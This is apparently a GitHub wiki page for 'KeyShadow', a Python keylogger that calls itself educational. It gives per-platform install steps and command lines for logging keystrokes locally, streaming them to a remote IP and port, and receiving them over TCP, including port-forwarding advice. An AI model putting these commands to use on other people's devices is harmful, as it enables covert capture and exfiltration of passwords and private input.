Skip to content
Lokesh Kumar edited this page Jun 25, 2025 · 1 revision

🎩 KeyShadow

An Educational, Open-Source, Cross-Platform Keylogger

 _  __           _____ _           _               
| |/ /___ _   _ /  ___| |__   __ _| |_ ___  _ __   
| ' // _ \ | | |\___ \| '_ \ / _` | __/ _ \| '__|  
| . \  __/ |_| | ___) | | | | (_| | || (_) | |     
|_|\_\___|\__, | |____/|_| |_|\__,_|\__\___/|_|     
         |___/                                  

⚠️ IMPORTANT ETHICAL NOTICE

KeyShadow is for EDUCATIONAL and ETHICAL use only.

  • 🚫 Never use on devices you don't own or without clear, written permission!
  • πŸ›‘ Unauthorized use is illegal and unethical.
  • πŸ‘¨β€πŸ’» Authors and contributors assume NO responsibility for misuse.

🌈 Features

  • πŸ“ Local logging to file (local mode)
  • πŸ”— Network sending to another device (send mode)
  • πŸ“₯ Network receiving logs (receive mode)
  • βš™οΈ Customizable: IPs, ports, log file path via CLI
  • πŸ’» Works on:
    • Kali Linux, Ubuntu, Other Linux
    • Windows 10/11
    • macOS
    • Termux (limited)
  • 🐍 Python 3.7+ required
  • πŸ”“ No API keys or cloud dependencies
  • πŸ“„ Simple, plain-text log files

πŸ–₯️ Supported Platforms

Platform Supported? Notes
🐧 Kali Linux βœ… Full support
🐧 Ubuntu βœ… Full support
🐧 Other Linux βœ… Full support
πŸͺŸ Windows 10/11 βœ… Full support (run in CMD or PowerShell)
🍏 macOS βœ… Full support (Terminal; may need permissions)
πŸ“± Termux ⚠️ Only within Termux shell (no global key capture)

Tip: On Windows/macOS, you may need to grant accessibility/input monitoring permissions for full keylogging.


πŸ’» DEMO: Running KeyShadow on All Platforms

🐧 Linux (Kali/Ubuntu/Other)

# 1. Install Python 3 and pip if needed
sudo apt update
sudo apt install python3 python3-pip

# 2. Install pynput
pip3 install pynput

# 3. Download keyshadow.py and run in local mode
python3 keyshadow.py --mode local --logfile mylogs_linux.txt

# 4. To send logs to another PC
python3 keyshadow.py --mode send --remote-ip <RECEIVER_IP> --remote-port 8080

# 5. To receive logs
python3 keyshadow.py --mode receive --listen-port 8080 --logfile received_linux.txt

πŸͺŸ Windows 10/11

:: 1. Install Python 3.7+ from https://www.python.org/downloads/windows/
:: 2. Open CMD or PowerShell and install pynput
pip install pynput

:: 3. Download keyshadow.py and run in local mode
python keyshadow.py --mode local --logfile mylogs_windows.txt

:: 4. To send logs to another PC
python keyshadow.py --mode send --remote-ip <RECEIVER_IP> --remote-port 8080

:: 5. To receive logs
python keyshadow.py --mode receive --listen-port 8080 --logfile received_windows.txt

Note: On first run, Windows may prompt for input monitoring/antivirus consent.


🍏 macOS

# 1. Install Python 3.7+ from https://www.python.org/downloads/macos/
# 2. Install pynput
pip3 install pynput

# 3. Download keyshadow.py and run in local mode
python3 keyshadow.py --mode local --logfile mylogs_mac.txt

# 4. To send logs to another Mac/PC
python3 keyshadow.py --mode send --remote-ip <RECEIVER_IP> --remote-port 8080

# 5. To receive logs
python3 keyshadow.py --mode receive --listen-port 8080 --logfile received_mac.txt

Note: On macOS, you must grant "Input Monitoring" permission in System Preferences > Security & Privacy.


πŸ“± Termux (Android, Limited Support)

# 1. Install Python in Termux
pkg install python

# 2. Install pynput (network required)
pip install pynput

# 3. Download keyshadow.py and run in local mode
python keyshadow.py --mode local --logfile mylogs_termux.txt

Limitation: Only keys entered in the Termux shell can be captured, not global Android input.


πŸ‘Ύ Usage: Modes & Examples

1️⃣ Local Logging (Log to File)

python3 keyshadow.py --mode local --logfile mylogs.txt

Logs all keypresses to mylogs.txt.
Press ESC to stop logging.


2️⃣ Send Mode (Send Logs to Remote Device)

python3 keyshadow.py --mode send --remote-ip <RECEIVER_IP> --remote-port 8080

Sends every keystroke to a receiver at <RECEIVER_IP>:8080 AND saves locally.


3️⃣ Receive Mode (Listen for Logs)

python3 keyshadow.py --mode receive --listen-port 8080 --logfile received.txt

Listens for logs on port 8080 and writes them to received.txt.


🌐 Example: Logging Across the Network

PC 1 (Receiver):

python3 keyshadow.py --mode receive --listen-port 8080 --logfile logs_from_laptop.txt

PC 2 (Sender):

python3 keyshadow.py --mode send --remote-ip <PC1_IP> --remote-port 8080
  • Both devices must be on the same local network.
  • Use your PC's local IP (e.g., 192.168.1.5) for <PC1_IP>.

🌍 Remote Logging (Outside Local Network)

  • Port Forwarding:
    • Forward port 8080 on your router to the receiver's local IP.
  • Firewall:
    • Allow inbound connections on port 8080.
  • Security:
    • Exposes your device to the internetβ€”use with extreme caution and only for testing.
  • Never use on devices/networks without explicit, legal permission.

πŸ’‘ How It Works

  • local: Records every keypress to a local file.
  • send: Sends each keypress to a given IP:port, as well as logging locally.
  • receive: Starts a simple TCP server to receive log entries and write them to a file.

⚠️ Limitations

  • No encryption of logs or network data (for educational simplicity)
  • No cloud or email integration
  • Key capture limited by OS permissions
  • Not intended for stealth or malicious use
  • On Windows/macOS: May require running as Administrator or giving input monitoring permissions.


πŸ“ License

MIT License


🀝 Contributing

PRs and suggestions welcome for further educational features.


❗ Disclaimer

This software is provided β€œas is” for ethical and educational use.
You are responsible for your actions.